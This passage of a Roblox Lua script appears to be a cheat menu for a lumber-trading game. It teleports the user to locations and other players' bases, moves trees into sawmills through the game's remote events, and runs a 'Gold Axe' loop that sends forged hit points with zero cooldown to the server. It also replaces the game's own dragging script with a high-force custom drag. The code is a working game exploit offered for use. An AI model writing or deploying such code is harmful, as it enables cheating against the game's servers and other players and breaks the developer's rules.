BobsShack.BackgroundColor3 = Color3.new(0, 0, 0)
BobsShack.Position = UDim2.new(0, 5, 0, 155)
BobsShack.Size = UDim2.new(0, 148, 0, 20)
BobsShack.Font = Enum.Font.Fantasy
BobsShack.FontSize = Enum.FontSize.Size18
BobsShack.Text = "Bob's Shack"
BobsShack.TextColor3 = Color3.fromRGB(255, 0, 0)
BobsShack.TextSize = 16
BobsShack.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Bob's Shack"])
end)

PlotTp.Name = "PlotTp"
PlotTp.Parent = Waypoints
PlotTp.BackgroundColor3 = Color3.new(0, 0, 0)
PlotTp.Position = UDim2.new(0, 5, 0, 30)
PlotTp.Size = UDim2.new(0, 148, 0, 20)
PlotTp.Font = Enum.Font.Fantasy
PlotTp.FontSize = Enum.FontSize.Size18
PlotTp.Text = "Tp to Plot"
PlotTp.TextColor3 = Color3.fromRGB(255, 0, 0)
PlotTp.TextSize = 16
PlotTp.MouseButton1Down:connect(function()
	for i,v in pairs(game.Workspace.Properties:GetChildren()) do
		if v.Owner.Value == game.Players.LocalPlayer then
			game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.OriginSquare.CFrame + Vector3.new(0,10,0)
		end
	end
end)

BoxedCars.Name = "BoxedCars"
BoxedCars.Parent = Waypoints
BoxedCars.BackgroundColor3 = Color3.new(0, 0, 0)
BoxedCars.Position = UDim2.new(0, 5, 0, 130)
BoxedCars.Size = UDim2.new(0, 148, 0, 20)
BoxedCars.Font = Enum.Font.Fantasy
BoxedCars.FontSize = Enum.FontSize.Size18
BoxedCars.Text = "Boxed Cars"
BoxedCars.TextColor3 = Color3.fromRGB(255, 0, 0)
BoxedCars.TextSize = 16
BoxedCars.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Boxed Cars"])
end)

Cave.Name = "Cave"
Cave.Parent = Waypoints
Cave.BackgroundColor3 = Color3.new(0, 0, 0)
Cave.Position = UDim2.new(0, 5, 0, 230)
Cave.Size = UDim2.new(0, 148, 0, 20)
Cave.Font = Enum.Font.Fantasy
Cave.FontSize = Enum.FontSize.Size18
Cave.Text = "Cave"
Cave.TextColor3 = Color3.new(255, 0, 0)
Cave.TextSize = 16
Cave.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Cave"])
end)

FancyFurnishings.Name = "FancyFurnishings"
FancyFurnishings.Parent = Waypoints
FancyFurnishings.BackgroundColor3 = Color3.new(0, 0, 0)
FancyFurnishings.Position = UDim2.new(0, 5, 0, 80)
FancyFurnishings.Size = UDim2.new(0, 148, 0, 20)
FancyFurnishings.Font = Enum.Font.Fantasy
FancyFurnishings.FontSize = Enum.FontSize.Size18
FancyFurnishings.Text = "Fancy Furnishings"
FancyFurnishings.TextColor3 = Color3.new(255, 0, 0)
FancyFurnishings.TextSize = 16
FancyFurnishings.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Fancy Furnishings"])
end)

FineArtsShop.Name = "FineArtsShop"
FineArtsShop.Parent = Waypoints
FineArtsShop.BackgroundColor3 = Color3.new(0, 0, 0)
FineArtsShop.Position = UDim2.new(0, 5, 0, 180)
FineArtsShop.Size = UDim2.new(0, 148, 0, 20)
FineArtsShop.Font = Enum.Font.Fantasy
FineArtsShop.FontSize = Enum.FontSize.Size18
FineArtsShop.Text = "Fine Arts Shop"
FineArtsShop.TextColor3 = Color3.new(255, 0, 0)
FineArtsShop.TextSize = 16
FineArtsShop.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Fine Arts Shop"])
end)

LandStore.Name = "LandStore"
LandStore.Parent = Waypoints
LandStore.BackgroundColor3 = Color3.new(0, 0, 0)
LandStore.Position = UDim2.new(0, 5, 0, 205)
LandStore.Size = UDim2.new(0, 148, 0, 20)
LandStore.Font = Enum.Font.Fantasy
LandStore.FontSize = Enum.FontSize.Size18
LandStore.Text = "Land Store"
LandStore.TextColor3 = Color3.new(255, 0, 0)
LandStore.TextSize = 16
LandStore.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Land Store"])
end)

LinksLogic.Name = "LinksLogic"
LinksLogic.Parent = Waypoints
LinksLogic.BackgroundColor3 = Color3.new(0, 0, 0)
LinksLogic.Position = UDim2.new(0, 5, 0, 105)
LinksLogic.Size = UDim2.new(0, 148, 0, 20)
LinksLogic.Font = Enum.Font.Fantasy
LinksLogic.FontSize = Enum.FontSize.Size18
LinksLogic.Text = "Link's Logic"
LinksLogic.TextColor3 = Color3.new(255, 0, 0)
LinksLogic.TextSize = 16
LinksLogic.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Link's Logic"])
end)

PalmIsland.Name = "PalmIsland"
PalmIsland.Parent = Waypoints
PalmIsland.BackgroundColor3 = Color3.new(0, 0, 0)
PalmIsland.Position = UDim2.new(0, 5, 0, 305)
PalmIsland.Size = UDim2.new(0, 148, 0, 20)
PalmIsland.Font = Enum.Font.Fantasy
PalmIsland.FontSize = Enum.FontSize.Size18
PalmIsland.Text = "Palm Island"
PalmIsland.TextColor3 = Color3.new(255, 0, 0)
PalmIsland.TextSize = 16
PalmIsland.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Palm Island"])
end)

SpawnPoint.Name = "SpawnPoint"
SpawnPoint.Parent = Waypoints
SpawnPoint.BackgroundColor3 = Color3.new(0, 0, 0)
SpawnPoint.Position = UDim2.new(0, 5, 0, 5)
SpawnPoint.Size = UDim2.new(0, 148, 0, 20)
SpawnPoint.Font = Enum.Font.Fantasy
SpawnPoint.FontSize = Enum.FontSize.Size18
SpawnPoint.Text = "Spawn"
SpawnPoint.TextColor3 = Color3.new(255, 0, 0)
SpawnPoint.TextSize = 16
SpawnPoint.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["SpawnPoint"])
end)

Swamp.Name = "Swamp"
Swamp.Parent = Waypoints
Swamp.BackgroundColor3 = Color3.new(0, 0, 0)
Swamp.Position = UDim2.new(0, 5, 0, 280)
Swamp.Size = UDim2.new(0, 148, 0, 20)
Swamp.Font = Enum.Font.Fantasy
Swamp.FontSize = Enum.FontSize.Size18
Swamp.Text = "Swamp"
Swamp.TextColor3 = Color3.new(255, 0, 0)
Swamp.TextSize = 16
Swamp.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Swamp"])
end)

Volcano.Name = "Volcano"
Volcano.Parent = Waypoints
Volcano.BackgroundColor3 = Color3.new(0, 0, 0)
Volcano.Position = UDim2.new(0, 5, 0, 255)
Volcano.Size = UDim2.new(0, 148, 0, 20)
Volcano.Font = Enum.Font.Fantasy
Volcano.FontSize = Enum.FontSize.Size18
Volcano.Text = "Volcano"
Volcano.TextColor3 = Color3.new(255, 0, 0)
Volcano.TextSize = 16
Volcano.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Volcano"])
end)

WoodRUs.Name = "blueprints"
WoodRUs.Parent = Waypoints
WoodRUs.BackgroundColor3 = Color3.new(0, 0, 0)
WoodRUs.Position = UDim2.new(0, 5, 0, 55)
WoodRUs.Size = UDim2.new(0, 148, 0, 20)
WoodRUs.Font = Enum.Font.Fantasy
WoodRUs.FontSize = Enum.FontSize.Size18
WoodRUs.Text = "Wood R Us"
WoodRUs.TextColor3 = Color3.new(255, 0, 0)
WoodRUs.TextSize = 16
WoodRUs.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Wood R Us"])
end)

Dock.Name = "Dock"
Dock.Parent = Waypoints
Dock.BackgroundColor3 = Color3.new(0, 0, 0)
Dock.Position = UDim2.new(0, 5, 0, 355)
Dock.Size = UDim2.new(0, 148, 0, 20)
Dock.Font = Enum.Font.Fantasy
Dock.FontSize = Enum.FontSize.Size18
Dock.Text = "Dock"
Dock.TextColor3 = Color3.new(255, 0, 0)
Dock.TextSize = 16
Dock.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["Dock"]
end)

Bridge.Name = "Bridge"
Bridge.Parent = Waypoints
Bridge.BackgroundColor3 = Color3.new(0, 0, 0)
Bridge.Position = UDim2.new(0, 5, 0, 380)
Bridge.Size = UDim2.new(0, 148, 0, 20)
Bridge.Font = Enum.Font.Fantasy
Bridge.FontSize = Enum.FontSize.Size18
Bridge.Text = "Bridge"
Bridge.TextColor3 = Color3.new(255, 0, 0)
Bridge.TextSize = 16
Bridge.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["Bridge"]
end)

EndTimes.Name = "EndTimes"
EndTimes.Parent = Waypoints
EndTimes.BackgroundColor3 = Color3.new(0, 0, 0)
EndTimes.Position = UDim2.new(0, 5, 0, 405)
EndTimes.Size = UDim2.new(0, 148, 0, 20)
EndTimes.Font = Enum.Font.Fantasy
EndTimes.FontSize = Enum.FontSize.Size18
EndTimes.Text = "End Times"
EndTimes.TextColor3 = Color3.new(255, 0, 0)
EndTimes.TextSize = 16
EndTimes.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["End Times"]
end)

ShrineOfSight.Name = "ShrineOfSight"
ShrineOfSight.Parent = Waypoints
ShrineOfSight.BackgroundColor3 = Color3.new(0, 0, 0)
ShrineOfSight.Position = UDim2.new(0, 5, 0, 430)
ShrineOfSight.Size = UDim2.new(0, 148, 0, 20)
ShrineOfSight.Font = Enum.Font.Fantasy
ShrineOfSight.FontSize = Enum.FontSize.Size18
ShrineOfSight.Text = "Shrine Of Sight"
ShrineOfSight.TextColor3 = Color3.new(255, 0, 0)
ShrineOfSight.TextSize = 16
ShrineOfSight.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["Shrine Of Sight"]
end)

TheDen.Name = "TheDen"
TheDen.Parent = Waypoints
TheDen.BackgroundColor3 = Color3.new(0, 0, 0)
TheDen.Position = UDim2.new(0, 5, 0, 455)
TheDen.Size = UDim2.new(0, 148, 0, 20)
TheDen.Font = Enum.Font.Fantasy
TheDen.FontSize = Enum.FontSize.Size18
TheDen.Text = "The Den"
TheDen.TextColor3 = Color3.new(255, 0, 0)
TheDen.TextSize = 16
TheDen.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["The Den"]
end)

VolcanoWin.Name = "VolcanoWin"
VolcanoWin.Parent = Waypoints
VolcanoWin.BackgroundColor3 = Color3.new(0, 0, 0)
VolcanoWin.Position = UDim2.new(0, 5, 0, 480)
VolcanoWin.Size = UDim2.new(0, 148, 0, 20)
VolcanoWin.Font = Enum.Font.Fantasy
VolcanoWin.FontSize = Enum.FontSize.Size18
VolcanoWin.Text = "Volcano Win"
VolcanoWin.TextColor3 = Color3.new(255, 0, 0)
VolcanoWin.TextSize = 16
VolcanoWin.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["Volcano Win"]
end)

SkiLodge.Name = "Ski Lodge"
SkiLodge.Parent = Waypoints
SkiLodge.BackgroundColor3 = Color3.new(0, 0, 0)
SkiLodge.Position = UDim2.new(0, 5, 0, 505)
SkiLodge.Size = UDim2.new(0, 148, 0, 20)
SkiLodge.Font = Enum.Font.Fantasy
SkiLodge.FontSize = Enum.FontSize.Size18
SkiLodge.Text = "Ski Lodge"
SkiLodge.TextColor3 = Color3.new(255, 0, 0)
SkiLodge.TextSize = 16
SkiLodge.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["Ski Lodge"]
end)

FrostTreeArea.Name = "FrostTreeArea"
FrostTreeArea.Parent = Waypoints
FrostTreeArea.BackgroundColor3 = Color3.new(0, 0, 0)
FrostTreeArea.Position = UDim2.new(0, 5, 0, 530)
FrostTreeArea.Size = UDim2.new(0, 148, 0, 20)
FrostTreeArea.Font = Enum.Font.Fantasy
FrostTreeArea.FontSize = Enum.FontSize.Size18
FrostTreeArea.Text = "Frost Tree Area"
FrostTreeArea.TextColor3 = Color3.new(255, 0, 0)
FrostTreeArea.TextSize = 16
FrostTreeArea.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["Frost Tree"]
end)

SnowGlowTreeArea.Name = "SnowGlowTreeArea"
SnowGlowTreeArea.Parent = Waypoints
SnowGlowTreeArea.BackgroundColor3 = Color3.new(0, 0, 0)
SnowGlowTreeArea.Position = UDim2.new(0, 5, 0, 555)
SnowGlowTreeArea.Size = UDim2.new(0, 148, 0, 20)
SnowGlowTreeArea.Font = Enum.Font.Fantasy
SnowGlowTreeArea.FontSize = Enum.FontSize.Size18
SnowGlowTreeArea.Text = "SnowGlow Area"
SnowGlowTreeArea.TextColor3 = Color3.new(255, 0, 0)
SnowGlowTreeArea.TextSize = 16
SnowGlowTreeArea.MouseButton1Down:connect(function()
	local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
	uTorso.CFrame = WayPoints["SnowGlow Tree"]
end)

ShowLocation.Name = "ShowLocation"
ShowLocation.Parent = Waypoints
ShowLocation.BackgroundColor3 = Color3.new(0, 0, 0)
ShowLocation.Position = UDim2.new(0, 5, 0, 580)
ShowLocation.Size = UDim2.new(0, 148, 0, 30)
ShowLocation.Font = Enum.Font.Fantasy
ShowLocation.FontSize = Enum.FontSize.Size14
ShowLocation.Text = "Show Current Coords\nSet Custom Location"
ShowLocation.TextColor3 = Color3.new(255, 0, 0)
ShowLocation.TextSize = 13

CustomTPPoint.Name = "CustomTPPoint"
CustomTPPoint.Parent = Waypoints
CustomTPPoint.BackgroundColor3 = Color3.new(0, 0, 0)
CustomTPPoint.Position = UDim2.new(0, 5, 0, 615)
CustomTPPoint.Size = UDim2.new(0, 148, 0, 20)
CustomTPPoint.Font = Enum.Font.Fantasy
CustomTPPoint.FontSize = Enum.FontSize.Size14
CustomTPPoint.Text = "TP to Custom Location"
CustomTPPoint.TextColor3 = Color3.new(255, 0, 0)
CustomTPPoint.TextSize = 13

-- Scripts:

--- Show Current Location

ShowLocation.MouseButton1Down:connect(function()

	function round(num, numDecimalPlaces)
		local mult = 10^(numDecimalPlaces or 0)
		return math.floor(num * mult + 0.5) / mult
	end

	LocationX = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.x, 1)
	LocationY = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.y, 1)
	LocationZ = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.z, 1)
	ShowLocation.Text = "Current/Set Location\n"..LocationX..", "..LocationY..", "..LocationZ
    CustomTPPoint.Text = "TP to "..LocationX..", "..LocationY..", "..LocationZ
	CustomLocationSet = true
	end)

--- TP to custom location ---

CustomTPPoint.MouseButton1Down:connect(function()
	if CustomLocationSet == true then
		local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
		uTorso.CFrame = CFrame.new(LocationX, LocationY, LocationZ)
	end
end)


  --- Player Tp ---

	local buttons = {
		Player1,
		Player2,
		Player3,
		Player4,
		Player5,
		Player6
	}
	spawn(function()
		while true do
			Player1.Text = ""
			Player2.Text = ""
			Player3.Text = ""
			Player4.Text = ""
			Player5.Text = ""
			Player6.Text = ""
			for i, v in pairs(game.Players:GetChildren()) do
				buttons[i].Text = v.Name
				buttons[i].Visible = true
			end
			wait(0.5)
		end
	end)

	Player1.MouseButton1Down:connect(function()
      PlyrSel.Text = Player1.Text
    end)
    Player2.MouseButton1Down:connect(function()
      PlyrSel.Text = Player2.Text
    end)
    Player3.MouseButton1Down:connect(function()
      PlyrSel.Text = Player3.Text
    end)
    Player4.MouseButton1Down:connect(function()
      PlyrSel.Text = Player4.Text
    end)
    Player5.MouseButton1Down:connect(function()
      PlyrSel.Text = Player5.Text
    end)
    Player6.MouseButton1Down:connect(function()
      PlyrSel.Text = Player6.Text
    end)
	
	TpPlayer.MouseButton1Down:connect(function()
      if PlyrSel.Text == "SELECT A PLAYER" then
        warn("No Player Selected")
      else
        game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = workspace[PlyrSel.Text].HumanoidRootPart.CFrame
      end
    end)
    TpBase.MouseButton1Down:connect(function()
      for i, v in pairs(game.Workspace.Properties:GetChildren()) do
        if v.Owner.Value == game.Players[PlyrSel.Text] then
			local p= CFrame.new(v.OriginSquare.CFrame.x, v.OriginSquare.CFrame.y +3.5, v.OriginSquare.CFrame.z)
			game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = p
        end
      end
    end)


local WoodFrame = Instance.new("Frame")
local Woodmenu = Instance.new("ImageButton")
local SawmillTp = Instance.new("TextButton")

Woodmenu.Name = "Woodmenu"
Woodmenu.Parent = Picker
Woodmenu.BackgroundColor3 = Color3.new(1, 1, 1)
Woodmenu.BorderColor3 = Color3.new(0, 0, 0)
Woodmenu.Position = UDim2.new(0, 15, 0,175)
Woodmenu.Size = UDim2.new(0, 80, 0, 80)
Woodmenu.ZIndex = 3
Woodmenu.Image = "rbxassetid://3894370075"
Woodmenu.ScaleType = Enum.ScaleType.Crop
Woodmenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = true
AIntroImage1.Visible = true
end)

WoodFrame.Name = "WoodFrame"
WoodFrame.Parent = MenuFrame
WoodFrame.BorderSizePixel = 1
WoodFrame.BackgroundTransparency = 0
WoodFrame.BorderColor3 = Color3.new(0, 0, 0)
WoodFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
WoodFrame.Size = UDim2.new(0, 170, 0, 190)
WoodFrame.Visible = false

SawmillTp.Name = "SawmillTp"
SawmillTp.Parent = WoodFrame
SawmillTp.BackgroundColor3 = Color3.new(0, 0, 0)
SawmillTp.BorderColor3 = Color3.new(0, 0, 0)
SawmillTp.Position = UDim2.new(0, 3, 0, 3)
SawmillTp.Size = UDim2.new(0, 165, 0, 20)
SawmillTp.Font = Enum.Font.Fantasy
SawmillTp.FontSize = Enum.FontSize.Size18
SawmillTp.Text = "Wood to Saw"
SawmillTp.TextColor3 = Color3.new(255, 0, 0)
SawmillTp.TextSize = 15
SawmillTp.MouseButton1Down:connect(function()
	
SawmillTp.Text = "WOOD TO SAW  ON"
SawmillTp.TextColor3 = Color3.new(1, 1, 1)
SawmillC = false
Mouse = game.Players.LocalPlayer:GetMouse()

Mouse.KeyDown:connect(function(key)
if key:lower() == "q" then
Treee = Mouse.Target
end
end)
Mouse.KeyDown:connect(function(key)
if key:lower() == "p" then
if Mouse.Target.Parent:FindFirstChild("BlockageAlert") then
Sawmill = Mouse.Target.Parent 
else 
Sawmill=Mouse.Target.Parent.Parent
end
if Sawmill:FindFirstChild("BlockageAlert") and Sawmill:FindFirstChild("Owner") then
SawmillC = true
else
SawmillC = false
print"Something went wrong while setting the sawmill!"
end
if Treee ~= nil then
Mod(Treee)
else
print("Select tree with 'Q'!")
end
end
end)

function Mod(SelectedPart)
if SawmillC ~= true then 
print'Set the sawmill with "P"!'
return
end
if SelectedPart.Parent:FindFirstChild("TreeClass") and SelectedPart.Parent:FindFirstChild("Owner") then
print("Tree: "..SelectedPart.Parent.TreeClass.Value)
Tree = SelectedPart.Parent
Tree.PrimaryPart = SelectedPart
game.ReplicatedStorage.Interaction.Verify:FireServer('Item owned by player',Tree)
Tree:SetPrimaryPartCFrame(Sawmill.Particles.CFrame)
game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Tree)
end
end
end)

local Goldaxe = Instance.new("TextButton")

Goldaxe.Name = "SawmillTp"
Goldaxe.Parent = WoodFrame
Goldaxe.BackgroundColor3 = Color3.new(0, 0, 0)
Goldaxe.BorderColor3 = Color3.new(0, 0, 0)
Goldaxe.Position = UDim2.new(0, 3, 0, 26)
Goldaxe.Size = UDim2.new(0, 165, 0, 20)
Goldaxe.Font = Enum.Font.Fantasy
Goldaxe.FontSize = Enum.FontSize.Size18
Goldaxe.Text = "Gold Axe"
Goldaxe.TextColor3 = Color3.new(255, 0, 0)
Goldaxe.TextSize = 15
Goldaxe.MouseButton1Down:connect(function()
	
Goldaxe.Text = "GOLDAXE ACTIVE"
Goldaxe.TextColor3 = Color3.new(1, 1, 1)
	function GetAxe()
if game.Players.LocalPlayer.Character:FindFirstChild("Tool") then
return game.Players.LocalPlayer.Character:FindFirstChild("Tool")
end
end

local HitPoints={
['GoldAxe']= 50;
['BasicHatchet']= 0.2;
['Axe1']= 0.55;
['Axe2']= 0.93;
['AxeAlphaTesters']= 1.5;
['Rukiryaxe']= 1.68;
['Axe3']= 1.45;
['AxeBetaTesters']= 1.45;
['FireAxe']= 0.6;
['SilverAxe']= 1.6;
['EndTimesAxe']= 10000000;
['AxeChicken']= 0.1;
['CandyCaneAxe']= 0;
}

local Pressing = false

local mouse1 = game:GetService("Players").LocalPlayer:GetMouse()
mouse1.Button1Down:connect(function(key)
       Pressing=true
       poop(GetAxe())
end)

local mouse1 = game:GetService("Players").LocalPlayer:GetMouse()
mouse1.Button1Down:connect(function(key)
       Pressing=false
end)

function cut(Height,Tool)
local Tree=game.Players.LocalPlayer:GetMouse().Target
game.ReplicatedStorage.Interaction.RemoteProxy:FireServer(Tree.Parent.CutEvent,{
["cuttingClass"] = "Axe",
["cooldown"] = 0,
["hitPoints"] = HitPoints[Tool.ToolName.Value],
["sectionId"] = 1,
["tool"] = Tool,
["faceVector"] = Vector3.new(-1,0,0),
["height"] = Height})
end

function poop(Tool)
   while Pressing do
       for i=1,100 do
wait()
cut(_G.SIZE,Tool)
cut(1,Tool)
end
   end
end
end)

local Harddrag = Instance.new("TextButton")

Harddrag.Name = "Harddrag"
Harddrag.Parent = WoodFrame
Harddrag.BackgroundColor3 = Color3.new(0, 0, 0)
Harddrag.BorderColor3 = Color3.new(0, 0, 0)
Harddrag.Position = UDim2.new(0, 3, 0, 49)
Harddrag.Size = UDim2.new(0, 165, 0, 20)
Harddrag.Font = Enum.Font.Fantasy
Harddrag.FontSize = Enum.FontSize.Size18
Harddrag.Text = "Hard drag"
Harddrag.TextColor3 = Color3.new(255, 0, 0)
Harddrag.TextSize = 15
Harddrag.MouseButton1Down:connect(function()
	
Harddrag.Text = "HARD DRAG ACTIVE"
Harddrag.TextColor3 = Color3.new(1, 1, 1)


local player = game.Players.LocalPlayer
local Character = player.Character or player.CharacterAdded:wait()
local Humanoid = Character:WaitForChild("Humanoid")
local walkSpeed = Humanoid.WalkSpeed
game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger.Disabled = true
_G.dragRangeMin = 5
fivefour = coroutine.wrap(function()
EKey = false
QKey = false
player:GetMouse().KeyDown:connect(function(key)
	if string.lower(key) == "e" then
		EKey = true
	elseif string.lower(key) == "q" then
		QKey = true
	end
end)
player:GetMouse().KeyUp:connect(function(key)
	if string.lower(key) == "e" then
		EKey = false
	elseif string.lower(key) == "q" then
		QKey = false
	end
end)
while wait(0.1) do
	if EKey then
		F = FVal
		FVal = FVal + 1000
		ChangeForce(F+1000)
		print(F)
	end
	if QKey then
		F = FVal
		FVal = FVal - 1000
		ChangeForce(F-1000)
		print(F)
	end
end

end)
fivefour()
local dragPart = Instance.new("Part",game.Players.LocalPlayer.PlayerGui)--game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger.Dragger
dragPart.Size = Vector3.new(0.2,0.2,0.2)
dragPart.BrickColor = BrickColor.new("Really red")
player.CharacterAdded:connect(function()
	Character = player.Character
	Humanoid = Character:WaitForChild("Humanoid")
	Humanoid.Died:connect(function()
		dragPart.Parent = nil
	end)
end)

wait(1)
local dragRangeMax = 10000
local dragRangeMin = _G.dragRangeMin

local camera = workspace.CurrentCamera
local mouse = player:GetMouse()

local button1Down = false
local dragRange = dragRangeMax
FVal = 80000
local bodyPosition = Instance.new("BodyPosition", dragPart)
bodyPosition.maxForce = Vector3.new(1, 1, 1) * FVal
bodyPosition.D = 1000
bodyPosition.P = 4000
function ChangeForce(F)
if F > 0 then
F = bodyPosition.maxForce.X+F
bodyPosition.maxForce = Vector3.new(1, 1, 1) * F
else
F = bodyPosition.maxForce.X-F
bodyPosition.maxForce = Vector3.new(1, 1, 1) * F
end
end

local bodyGyro = Instance.new("BodyGyro", dragPart) 
bodyGyro.maxTorque = Vector3.new(1, 1, 1) * 200 --4000 -- * 0.000012
bodyGyro.P = 1200
bodyGyro.D = 140 --15

--bodyPosition.P = bodyPosition.P * 1/19
--bodyPosition.D = bodyPosition.D  * 1/19
--bodyGyro.P = bodyGyro.P * 1/19
--bodyGyro.D = bodyGyro.D  * 1/19

local rotateCFrame = CFrame.new()

local weld = Instance.new("Weld", dragPart)

--local interactPermission = require(game.ReplicatedStorage.Interaction.InteractionPermission)
local clientIsDragging = game.ReplicatedStorage.Interaction.ClientIsDragging

local carryAnimationTrack


--------------------------------[[ Drag Main ]]------------------------------------

local draggingPart = false

function click()
	button1Down = true

	local targetObject = game.Players.LocalPlayer:GetMouse().Target
	if not canDrag(targetObject) then
		return
	end
	
	local mouseHit = game.Players.LocalPlayer:GetMouse().Hit.p
	if (mouseHit - Character.Head.Position).magnitude > dragRangeMax then
		return
	end
	
	initializeDrag(targetObject, mouseHit)
	rotateCFrame = CFrame.new()
	
	carryAnimationTrack:Play(0.1, 1, 1)
	
	local dragIsFailing = 0 
	local dragTime = 0
	
	
	while button1Down and canDrag(targetObject) do
		local desiredPos = Character.Head.Position + (game.Players.LocalPlayer:GetMouse().Hit.p - Character.Head.Position).unit * dragRange
		
		local dragRay = Ray.new(Character.Head.Position, desiredPos - Character.Head.Position)
		local part, pos = workspace:FindPartOnRayWithIgnoreList(dragRay, {Character, dragPart, targetObject.Parent})
		
		if part then
			desiredPos = pos
		end
		
		if (camera.CoordinateFrame.p - Character.Head.Position).magnitude > 2 then
			desiredPos = desiredPos + Vector3.new(0, 1.8, 0)
		end
		
		moveDrag(desiredPos)
		bodyGyro.cframe = CFrame.new(dragPart.Position, camera.CoordinateFrame.p) * rotateCFrame
		
		local targParent = findHighestParent(targetObject) or targetObject		
		
		local attemptingToSurf  = false
		for _, check in pairs({{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.7, -2.8, 0)).p, Vector3.new(0, -2, 0))}, 
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0)).p, Vector3.new(0, -2, 0))}, 
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, 0)).p, Vector3.new(0, -2, 0))},
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0)).p, Vector3.new(0, -2, 0))}, 
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.7, -2.8, 0)).p, Vector3.new(0, -2, 0))}, 
							
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0.6)).p, Vector3.new(0, -2, 0))}, 
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, 0.6)).p, Vector3.new(0, -2, 0))},
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0.6)).p, Vector3.new(0, -2, 0))}, 
							
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, -0.6)).p, Vector3.new(0, -2, 0))}, 
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, -0.6)).p, Vector3.new(0, -2, 0))},
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, -0.6)).p, Vector3.new(0, -2, 0))}, 
							
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.5, -0.8, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.5, -0.8, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.5, -1.3, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
							{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.5, -1.3, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing}
									
					}) do
		
			local ray = check.Ray
			local part, _ = workspace:FindPartOnRayWithIgnoreList(ray, {Character})
			local op = part
			part = part and findHighestParent(part)
			
			if part and (not check.State or Humanoid:GetState() == check.State) then
				if part == targParent then
					attemptingToSurf = true
				else
					for _, connectedPart in pairs(op:GetConnectedParts(true)) do

						if connectedPart == targetObject--[[targParent]] then
							attemptingToSurf = true
							break
						end
					end
				end

				if attemptingToSurf then
					break
				end
			end
		end
		
		
		
		
		
		local falling = Humanoid:GetState() == Enum.HumanoidStateType.Freefall or Humanoid:GetState() == Enum.HumanoidStateType.FallingDown--not part1 and not part2
		
		
		if attemptingToSurf then
			dragIsFailing = 0
		elseif falling then
			dragIsFailing = 0
